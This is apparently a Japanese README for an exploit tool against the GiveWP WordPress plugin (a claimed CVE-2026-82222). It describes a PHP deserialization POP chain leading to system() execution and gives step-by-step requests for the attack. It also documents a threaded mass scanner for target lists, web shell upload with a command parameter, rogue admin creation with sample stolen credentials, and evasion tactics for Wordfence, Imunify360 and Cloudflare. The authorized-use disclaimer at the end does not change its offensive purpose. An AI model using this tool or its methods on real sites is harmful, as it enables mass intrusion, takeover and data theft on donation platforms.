
GiveWP <= 4.16.7.1 未認証のPHPオブジェクトインジェクション → RCE
作成者: Rx019
CVSS: 10.0(緊急)
種別: 認証なしPHPオブジェクトインジェクション → リモートコード実行
プラグイン: GiveWP (give) — 寄付プラグインおよび資金調達プラットフォーム
影響を受けるバージョン: <= 4.16.7.1
修正済みバージョン: 4.16.8
GiveWPは、寄付者のlast_nameをサニタイズせずにPHPセッションに保存します。give_lastフィールドなしで寄付が送信されると、GiveWPはデータベースから生の値を直接セッションに逆シリアライズします。これにより、認証されていない攻撃者が寄付者プロフィールエンドポイントを介してlast_nameにPHPシリアライズオブジェクトを注入し、細工された寄付を送信することで逆シリアライズをトリガーできます。その結果、GiveWPに同梱されているベンダーライブラリに存在する事前構築済みPOPチェーンを介して任意のコマンド実行が可能になります。
TCPDF::__destruct()
└─ Session::getBag() ← $attributeNameで指定されたメソッドを呼び出す
└─ DonationFactory::__call()
└─ system($command) ← $commandは$attributeNameから取得
使用されるベンダークラス:
| クラス | ファイル |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. 寄付者として登録 → 認証済みセッション(wp-loginクッキー)
2. POST /wp-admin/profile.php
last_name = system()コマンドを埋め込んだシリアライズ済みTCPDFチェーン
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (give_lastフィールドは省略)
→ GiveWPがDBからlast_nameを読み取り、生のオブジェクトをセッションに書き込む
4. GET /?p={form_id}
→ PHPセッションの破棄でTCPDF::__destruct()が発火
→ POPチェーンがsystem(command)を実行
5. シェル/管理者作成を確認
pip install requests rich
Python >= 3.9
| ファイル | 説明 |
|---|---|
CVE-2026-82222.py | 単一ターゲット用PoC — 詳細なステップバイステップ出力 |
CVE-2026-82222-MASS.py | 大量スキャナー — スレッド並列バッチモード |
python CVE-2026-82222.py
対話型プロンプト:
Target URL: https://victim.com
または直接指定:
python CVE-2026-82222.py https://victim.com
# ファイルからバッチ実行
python CVE-2026-82222-MASS.py -f targets.txt
# スレッド数をカスタム指定
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# 複数ターゲットをインライン指定
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# 対話型メニュー
python CVE-2026-82222-MASS.py
バッチファイル形式:
# #で始まる行は無視されます
https://target1.com
https://target2.com
target3.com # プロトコルはhttps://として自動付加されます
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Method : shell + direct (no .php write needed) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerable : 12 Partial : 3 Patched : 44 Not Vuln : 21 Errors : 2 Total : 82
結果は~/Documents/CVE/CVE-2026-82222/に保存されます:
| ファイル | 内容 |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | 単一実行の結果 |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | バッチ全体の結果 |
success_results.txt | VULN/PARTIAL行を追記 |
エクスプロイトは2つの主要な経路を順番に試行します:
wp_create_user() PHPコードをbase64としてTCPDFチェーンに注入経路Aが失敗した場合、または管理者ログインを確認できない場合に使用します。
last_nameにシェル配置コマンドを注入give_lastなしで寄付)/?p={form_id})id | teeビーコンをアップロードディレクトリの.txtファイルに書き込みシェルが確認されたが管理者がまだ存在しない場合、ウェブシェルの?c=パラメータを介してwp_create_user()を使用し、シェル経由で管理者を作成します。
| WAF | 戦略 |
|---|---|
| Imunify360 | X-Forwarded-For / X-Real-IPスプーフィングヘッダーを除去 |
| Wordfence | プールからUser-Agentをローテーション |
| Cloudflare | Accept-Encoding: gzip, deflate, brを設定 |
wp-config.phpのDISALLOW_FILE_EDITはプラグイン/テーマエディタ経由のベクターをブロックします — スクリプトはこれを早期に検出し、経路BにフォールバックしますRx{100-999}.php — 実行ごとにランダム化されますこのツールは認可されたセキュリティテストおよび研究目的のみで公開されています。
所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。
無断使用は違法かつ非倫理的です。